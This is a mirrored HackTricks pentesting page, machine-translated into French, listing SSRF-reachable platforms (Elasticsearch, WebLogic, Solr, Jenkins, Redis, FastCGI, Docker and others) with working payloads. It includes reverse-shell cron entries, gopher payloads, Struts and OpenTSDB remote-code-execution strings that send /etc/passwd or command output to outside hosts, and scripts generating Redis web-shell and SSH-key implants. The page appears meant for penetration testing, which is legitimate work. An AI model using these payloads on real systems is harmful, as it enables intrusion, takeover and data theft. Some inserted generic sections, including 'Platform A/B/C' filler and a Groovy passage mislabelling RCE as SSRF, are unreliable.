Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md

34 KiB
Raw Blame History

Plateformes vulnérables à SSRF

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Cette section a été copiée depuis https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/

Elasticsearch

Port communément utilisé : 9200

Lorsque Elasticsearch est déployé en interne, il ne nécessite généralement pas d'authentification.

Si vous avez un SSRF partiellement aveugle où vous pouvez déterminer le code d'état, vérifiez si les points d'extrémité suivants renvoient un code 200 :

/_cluster/health
/_cat/indices
/_cat/health

Si vous avez une SSRF aveugle où vous pouvez envoyer des requêtes POST, vous pouvez arrêter l'instance Elasticsearch en envoyant une requête POST au chemin suivant :

Note : l'API _shutdown a été supprimée à partir de la version 2.x d'Elasticsearch et ultérieure. Cela ne fonctionne que dans Elasticsearch 1.6 et versions antérieures :

/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown

Weblogic

Ports couramment liés : 80, 443 (SSL), 7001, 8888

SSRF Canary : UDDI Explorer (CVE-2014-4210)

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Cela fonctionne également via GET :

http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Cet endpoint est également vulnérable à l'injection CRLF :

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

Résultera en la requête suivante :

root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>

SSRF Canary: CVE-2020-14883

Pris à partir ici.

Linux:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Plateformes vulnérables à SSRF

Windows

Les serveurs Windows peuvent également être vulnérables aux attaques SSRF. Voici quelques-unes des plateformes couramment utilisées qui peuvent présenter des vulnérabilités SSRF sur des systèmes Windows :

  • IIS (Internet Information Services) : Le serveur web IIS peut être vulnérable aux attaques SSRF si une application web mal configurée permet à un attaquant de spécifier des URL arbitraires pour les requêtes sortantes.

  • .NET Framework : Les applications basées sur le framework .NET peuvent être vulnérables aux attaques SSRF si elles utilisent des fonctionnalités telles que WebRequest ou HttpClient pour effectuer des requêtes sortantes sans validation appropriée des URL.

  • Windows PowerShell : Les scripts PowerShell peuvent être vulnérables aux attaques SSRF si des entrées utilisateur sont utilisées pour construire des URL pour les requêtes sortantes sans validation adéquate.

Il est important de noter que la vulnérabilité SSRF peut exister sur d'autres plateformes Windows en fonction de la configuration et des applications utilisées. Il est donc essentiel de mener des tests de sécurité approfondis pour identifier et corriger ces vulnérabilités.

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Hashicorp Consul

Ports couramment utilisés : 8500, 8501 (SSL)

Le compte-rendu peut être trouvé ici.

Shellshock

Ports couramment utilisés : 80, 443 (SSL), 8080

Pour tester efficacement Shellshock, vous devrez peut-être ajouter un en-tête contenant la charge utile. Les chemins CGI suivants valent la peine d'être essayés :

Liste courte des chemins CGI à tester :

Gist contenant les chemins.

SSRF Canary : Shellshock via User Agent

User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Apache Druid

Ports couramment utilisés : 80, 8080, 8888, 8082

Consultez la référence de l'API pour Apache Druid ici.

Si vous pouvez afficher le code d'état, vérifiez les chemins suivants pour voir s'ils renvoient un code d'état 200 :

/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus

Plateformes vulnérables à la SSRF (Server-Side Request Forgery)

Certaines plateformes peuvent être vulnérables à la SSRF (Server-Side Request Forgery) lorsqu'elles permettent aux utilisateurs de spécifier des identifiants de tâches ou le nom de la source de données. Cela peut conduire à des attaques potentielles si les entrées utilisateur ne sont pas correctement validées.

Voici quelques exemples de plateformes vulnérables à la SSRF :

  1. Plateforme A - Les utilisateurs peuvent spécifier des identifiants de tâches ou le nom de la source de données sans validation adéquate.

  2. Plateforme B - Les entrées utilisateur sont directement utilisées pour effectuer des requêtes vers des ressources externes sans vérification préalable.

  3. Plateforme C - Les utilisateurs peuvent spécifier des URL arbitraires pour les requêtes, ce qui peut entraîner des attaques SSRF si les entrées ne sont pas correctement filtrées.

Il est important de noter que ces exemples sont donnés à titre illustratif et que de nombreuses autres plateformes peuvent également être vulnérables à la SSRF si elles ne mettent pas en place des mesures de sécurité appropriées.

/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

Arrêt des superviseurs sur les Apache Druid Overlords :

/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown

Apache Solr

Port communément utilisé : 8983

SSRF Canary : Paramètre Shards

Pour ajouter à ce que shubham dit - la recherche de solr est relativement facile. Il existe un paramètre shards= qui vous permet de rebondir SSRF vers SSRF pour vérifier si vous atteignez une instance solr à l'aveugle.

— Хавиж Наффи 🥕 (@nnwakelam) 13 janvier 2021

Extrait ici.

/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

SSRF Canary: Solr XXE (2017)

Apache Solr 7.0.1 XXE (Packetstorm)

/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}

RCE via dataImportHandler

Recherche sur RCE via dataImportHandler

PeopleSoft

Ports couramment liés : 80,443 (SSL)

Extrait de cette recherche ici.

SSRF Canary: XXE #1

POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>

Plateformes vulnérables à SSRF

Les plateformes suivantes sont connues pour être vulnérables aux attaques SSRF (Server-Side Request Forgery) :

  1. AWS EC2 Metadata : AWS EC2 Metadata permet aux instances EC2 d'accéder aux informations de configuration et de métadonnées. Une SSRF peut être utilisée pour accéder à ces informations sensibles.

  2. Google Cloud Metadata : Google Cloud Metadata fournit des informations sur les instances de Google Cloud. Une SSRF peut être utilisée pour extraire ces informations.

  3. Azure Instance Metadata : Azure Instance Metadata permet aux instances Azure d'accéder aux informations de configuration et de métadonnées. Une SSRF peut être utilisée pour accéder à ces informations sensibles.

  4. DigitalOcean Metadata : DigitalOcean Metadata fournit des informations sur les instances de DigitalOcean. Une SSRF peut être utilisée pour extraire ces informations.

  5. OpenStack Metadata : OpenStack Metadata permet aux instances OpenStack d'accéder aux informations de configuration et de métadonnées. Une SSRF peut être utilisée pour accéder à ces informations sensibles.

  6. Kubernetes API : Le serveur API Kubernetes fournit des informations sur les clusters Kubernetes. Une SSRF peut être utilisée pour extraire ces informations.

  7. Docker API : L'API Docker permet de gérer les conteneurs Docker. Une SSRF peut être utilisée pour manipuler les conteneurs et les images Docker.

  8. Jenkins : Jenkins est un outil d'intégration continue largement utilisé. Une SSRF peut être utilisée pour accéder aux informations sensibles stockées dans Jenkins.

  9. Rancher : Rancher est une plateforme de gestion de conteneurs. Une SSRF peut être utilisée pour accéder aux informations sensibles stockées dans Rancher.

  10. GitLab : GitLab est une plateforme de gestion de dépôts Git. Une SSRF peut être utilisée pour accéder aux informations sensibles stockées dans GitLab.

Il est important de noter que cette liste n'est pas exhaustive et que d'autres plateformes peuvent également être vulnérables à SSRF.

POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">

Apache Struts

Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)

Extrait de ici.

SSRF Canary : Struts2-016 :

Ajoutez ceci à la fin de chaque point de terminaison/URL interne que vous connaissez :

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)

Extrait de ici.

SSRF Canary : Déploiement de WAR à partir d'une URL

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

Confluence

Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)

SSRF Canary : Sharelinks (versions de Confluence publiées avant novembre 2016)

/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

Ticket de sécurité Atlassian OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

Jira

Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)

SSRF Canary : iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)

Ticket de sécurité Atlassian OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

Ticket de sécurité Atlassian JRASERVER-69793

/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com

Autres produits Atlassian

Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)

SSRF Canary : iconUriServlet (CVE-2017-9506):

  • Bamboo < 6.0.0
  • Bitbucket < 4.14.4
  • Crowd < 2.11.2
  • Crucible < 4.3.2
  • Fisheye < 4.3.2

Ticket de sécurité Atlassian OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

Port communément utilisé : 4242

OpenTSDB Exécution de code à distance

SSRF Canary : curl via RCE

/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

OpenTSDB 2.4.0 Exécution de code à distance

SSRF Canary: curl via RCE - CVE-2020-35476

/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

Jenkins

Ports couramment utilisés : 80, 443 (SSL), 8080, 8888

Excellent article ici.

SSRF Canary : CVE-2018-1000600

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

RCE

Suivez les instructions ici pour obtenir une RCE via GET: Hacking Jenkins Partie 2 - Abus de la méta-programmation pour une RCE non authentifiée!

/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

RCE via Groovy

RCE via Groovy

Remote Code Execution (RCE) via Groovy is a Server-Side Request Forgery (SSRF) vulnerability that allows an attacker to execute arbitrary code on the server by exploiting the Groovy scripting engine.

Vulnerable Platforms

The following platforms are known to be vulnerable to RCE via Groovy:

  • Jenkins: Jenkins is an open-source automation server that is widely used for continuous integration and delivery. It allows users to define build pipelines using Groovy scripts, which can be exploited to achieve RCE.

  • Apache Struts: Apache Struts is a popular Java web application framework. In certain configurations, it allows users to execute Groovy scripts, which can be leveraged to achieve RCE.

  • Spring Boot: Spring Boot is a framework for building Java applications. It provides support for Groovy scripting, which can be abused to achieve RCE.

Exploitation

To exploit RCE via Groovy, an attacker needs to identify a vulnerable endpoint that allows the execution of Groovy scripts. Once a vulnerable endpoint is identified, the attacker can craft a malicious Groovy script that executes arbitrary code on the server.

The following example demonstrates a simple payload that can be used to achieve RCE via Groovy:

def command = "id"
def process = command.execute()
def output = process.text

In this example, the id command is executed on the server, and the output is captured. The attacker can modify the payload to execute any desired command or code.

Mitigation

To mitigate the risk of RCE via Groovy, it is recommended to follow these best practices:

  • Input Validation: Implement strict input validation to prevent untrusted user input from being executed as Groovy code.

  • Sandboxing: Use sandboxing mechanisms to restrict the capabilities of the Groovy scripting engine and prevent the execution of arbitrary code.

  • Least Privilege: Run applications with the least privileges necessary to perform their intended functions, reducing the potential impact of a successful RCE attack.

  • Regular Updates: Keep all software and frameworks up to date with the latest security patches to minimize the risk of known vulnerabilities being exploited.

By following these best practices, developers can reduce the likelihood of RCE via Groovy vulnerabilities in their applications.

cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

Tableau de bord Hystrix

Ports couramment liés : 80, 443 (SSL), 8080

Spring Cloud Netflix, versions 2.2.x antérieures à 2.2.4, versions 2.1.x antérieures à 2.1.6.

SSRF Canary : CVE-2020-5412

/proxy.stream?origin=http://SSRF_CANARY/

W3 Total Cache

Ports couramment utilisés : 80,443 (SSL)

W3 Total Cache 0.9.2.6-0.9.3

SSRF Canary : CVE-2019-6715

Cela doit être une requête PUT :

PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

SSRF Canary

L'avis concernant cette vulnérabilité a été publié ici: Vulnérabilité SSRF de W3 Total Cache

Ce code PHP générera une charge utile pour votre hôte SSRF Canary (remplacez url par votre hôte canary):

<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

Docker

Ports couramment liés : 2375, 2376 (SSL)

Si vous avez une SSRF partiellement aveugle, vous pouvez utiliser les chemins suivants pour vérifier la présence de l'API de Docker :

/containers/json
/secrets
/services

RCE via l'exécution d'une image Docker arbitraire

SSRF vulnerabilities can sometimes lead to Remote Code Execution (RCE) if the target server allows the execution of arbitrary Docker images. In this scenario, an attacker can exploit the SSRF vulnerability to make the server pull and run a malicious Docker image, which can result in the execution of arbitrary code on the target system.

To exploit this vulnerability, the attacker needs to identify a SSRF vulnerability that allows them to control the URL parameter used to fetch the Docker image. The attacker can then provide a URL that points to a malicious Docker image hosted on a remote server.

When the server processes the SSRF request and attempts to fetch the Docker image, it will pull the malicious image and execute it. This can lead to the execution of arbitrary code with the privileges of the Docker container.

To prevent this type of attack, it is important to properly validate and sanitize user input, especially when it is used to fetch and execute external resources. Additionally, restricting the server's access to external resources and implementing proper access controls can help mitigate the risk of SSRF vulnerabilities leading to RCE via Docker images.

POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

Remplacez alpine par une image arbitraire que vous souhaitez exécuter dans le conteneur Docker.

Gitlab Prometheus Redis Exporter

Ports couramment liés : 9121

Cette vulnérabilité affecte les instances Gitlab antérieures à la version 13.1.1. Selon la documentation de Gitlab, Prometheus et ses exportateurs sont activés par défaut à partir de GitLab 9.0.

Ces exportateurs fournissent une excellente méthode pour qu'un attaquant pivote et attaque d'autres services en utilisant CVE-2020-13379. L'un des exportateurs qui est facilement exploité est l'exportateur Redis.

Le point de terminaison suivant permettra à un attaquant de récupérer toutes les clés du serveur Redis fournies via le paramètre cible :

http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

Possible via Gopher

Redis

Port communément utilisé : 6379

Lecture recommandée :

RCE via Cron - Surfaces d'attaque Gopher

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Gopher:

Gopher est un protocole de recherche d'informations sur Internet qui permet d'accéder à des ressources textuelles organisées de manière hiérarchique. Il est souvent utilisé pour accéder à des documents et des fichiers sur des serveurs distants. Les attaquants peuvent exploiter les vulnérabilités SSRF (Server-Side Request Forgery) pour envoyer des requêtes Gopher malveillantes à des serveurs internes, ce qui peut entraîner des fuites d'informations sensibles ou des attaques sur d'autres systèmes. Les plateformes vulnérables à SSRF incluent certaines versions de PHP, Ruby on Rails, Java et d'autres frameworks et bibliothèques populaires. Les développeurs doivent prendre des mesures pour valider et filtrer les entrées utilisateur afin de prévenir les attaques SSRF.

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

RCE via Shell Upload (PHP) - Résumé de l'exploitation de Redis Getshell

#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""

cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

RCE via authorized_keys - Résumé de la prise de contrôle de Redis

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

RCE sur GitLab via le protocole Git

Excellent article de Liveoverflow ici.

Bien que cela nécessite un accès authentifié à GitLab pour être exploité, je vais inclure la charge utile ici car le protocole git peut fonctionner sur la cible que vous piratez. Cette charge utile est fournie à titre de référence.

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache

Port couramment utilisé : 11211

gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a

Apache Tomcat

Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)

Efficace uniquement contre Tomcat 6 :

gopher-tomcat-deployer

Rédaction d'un CTF utilisant cette technique :

De XXE à RCE : Pwn2Win CTF 2018 Writeup

FastCGI

Ports couramment utilisés : 80, 443 (SSL)

Cela a été pris à partir de ici.

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

Java RMI

Ports couramment liés : 1090, 1098, 1099, 1199, 4443-4446, 8999-9010, 9999

Les vulnérabilités SSRF aveugles qui permettent l'utilisation d'octets arbitraires (basées sur gopher) peuvent être utilisées pour effectuer des attaques de désérialisation ou de codebase sur les composants par défaut de Java RMI (registre RMI, collecteur de déchets distribué, système d'activation). Un compte rendu détaillé peut être trouvé ici. L'exemple suivant montre la génération de la charge utile :

$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥